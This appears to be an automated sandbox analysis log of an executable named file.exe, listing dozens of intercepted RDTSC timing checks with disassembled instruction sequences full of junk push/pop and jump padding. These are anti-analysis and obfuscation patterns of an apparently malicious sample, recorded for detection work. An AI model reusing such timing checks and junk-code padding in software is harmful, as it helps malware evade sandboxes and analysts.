Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73ACF5 second address: 73AD08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F100CB95078h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CDE8 second address: 73CDF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CDF1 second address: 73CDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FA43 second address: 73FA47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746F9E second address: 746FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746206 second address: 74620E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74620E second address: 746215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746215 second address: 74623A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F100CBC40CBh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74623A second address: 74624D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F100CB95076h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F100CB95076h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74624D second address: 746277 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F100CBC40B6h 0x00000008 jng 00007F100CBC40B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F100CBC40C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7463BC second address: 7463D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jc 00007F100CB95076h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7463D2 second address: 7463D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746552 second address: 746556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746556 second address: 74657F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F100CBC40BCh 0x0000000d jmp 00007F100CBC40C5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74682C second address: 746832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746832 second address: 746841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746841 second address: 746861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jl 00007F100CB95076h 0x0000000d jmp 00007F100CB9507Bh 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746861 second address: 74686D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jno 00007F100CBC40B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7469CF second address: 7469E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F100CB95076h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7469E2 second address: 7469E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746DDF second address: 746E05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95088h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F100CB95076h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746E05 second address: 746E1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F100CBC40B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007F100CBC40BCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746E1D second address: 746E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A292 second address: 74A296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7532AC second address: 7532B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6AD7 second address: 6D6ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6ADB second address: 6D6ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6ADF second address: 6D6AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D6AEA second address: 6D6B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F100CB95084h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752012 second address: 752024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push edi 0x0000000a jng 00007F100CBC40B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75258C second address: 752599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719F4F second address: 719F55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719F55 second address: 719F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ecx, esi 0x0000000d lea eax, dword ptr [ebp+1248ED06h] 0x00000013 and dx, 387Bh 0x00000018 push eax 0x00000019 jng 00007F100CB95084h 0x0000001f pushad 0x00000020 jc 00007F100CB95076h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719F7D second address: 6FB436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov edx, ecx 0x0000000a call dword ptr [ebp+122D3304h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F100CBC40CAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A47E second address: 71A482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A482 second address: 71A488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A488 second address: 71A4A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CB95086h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A4A2 second address: 71A4A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A5BC second address: 71A5C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71ABA6 second address: 71ABB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jc 00007F100CBC40BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A516 second address: 75A51A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A51A second address: 75A541 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F100CBC40B6h 0x0000000f jmp 00007F100CBC40C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A541 second address: 75A546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A546 second address: 75A54C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A54C second address: 75A550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A678 second address: 75A67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A7F1 second address: 75A7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A9A5 second address: 75A9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F100CBC40B6h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AC4B second address: 75AC83 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F100CB95084h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F100CB9507Ch 0x0000000f jl 00007F100CB95084h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jmp 00007F100CB9507Ch 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f pushad 0x00000020 push eax 0x00000021 pop eax 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 popad 0x00000025 push ecx 0x00000026 push edx 0x00000027 pop edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ADD3 second address: 75AE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F100CBC40B6h 0x0000000a jl 00007F100CBC40B6h 0x00000010 popad 0x00000011 push ecx 0x00000012 jmp 00007F100CBC40C8h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AE00 second address: 75AE1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CB95080h 0x00000009 jnl 00007F100CB95076h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F82B second address: 75F831 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F998 second address: 75F99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F99C second address: 75F9A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FF38 second address: 75FF3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7600DE second address: 7600E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7600E2 second address: 7600FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a pop ebx 0x0000000b ja 00007F100CB95088h 0x00000011 js 00007F100CB95082h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7600FB second address: 760101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760212 second address: 760218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760218 second address: 760220 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F3EB second address: 75F403 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F100CB95076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F100CB9507Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F403 second address: 75F408 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4246 second address: 6C426D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F100CB95076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b je 00007F100CB95076h 0x00000011 jmp 00007F100CB9507Bh 0x00000016 pop edx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jg 00007F100CB95076h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C426D second address: 6C4277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4277 second address: 6C427B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7664DB second address: 7664EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F100CBC40BEh 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768816 second address: 76881A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76881A second address: 76881E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BB28 second address: 76BB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F100CB9507Ch 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BB3D second address: 76BB41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BB41 second address: 76BB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BB4A second address: 76BB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BF31 second address: 76BF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BF35 second address: 76BF4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BF4F second address: 76BF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77165C second address: 77166C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 js 00007F100CBC40B6h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771A94 second address: 771AB9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F100CB9508Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F100CB95076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771DB4 second address: 771DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771DBA second address: 771DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F100CB95082h 0x0000000d jo 00007F100CB95076h 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F100CB9507Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71AD12 second address: 71ADA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F100CBC40BFh 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F100CBC40B8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov dx, 184Eh 0x0000002a mov ebx, dword ptr [ebp+1248ED45h] 0x00000030 stc 0x00000031 add eax, ebx 0x00000033 mov dword ptr [ebp+122D37FBh], edi 0x00000039 push eax 0x0000003a push eax 0x0000003b je 00007F100CBC40C7h 0x00000041 jmp 00007F100CBC40C1h 0x00000046 pop eax 0x00000047 mov dword ptr [esp], eax 0x0000004a jmp 00007F100CBC40C5h 0x0000004f mov dx, 46ECh 0x00000053 push 00000004h 0x00000055 push edx 0x00000056 mov dword ptr [ebp+122D23BDh], esi 0x0000005c pop edx 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F100CBC40BBh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771F4E second address: 771F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771F58 second address: 771F7D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F100CBC40C8h 0x00000008 jmp 00007F100CBC40C2h 0x0000000d pushad 0x0000000e jnl 00007F100CBC40B6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771F7D second address: 771F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F100CB95076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771F8D second address: 771F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772AE4 second address: 772AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F100CB95076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775482 second address: 7754A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F100CBC40C5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7754A0 second address: 7754AA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F100CB95076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777247 second address: 77724B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77724B second address: 777251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777251 second address: 77725B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77725B second address: 777278 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F100CB95084h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D423 second address: 77D427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D427 second address: 77D43C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95081h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D43C second address: 77D45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F100CBC40C8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D45A second address: 77D460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D460 second address: 77D47C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F100CBC40B6h 0x00000008 jmp 00007F100CBC40BAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007F100CBC40BEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DE5D second address: 77DE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
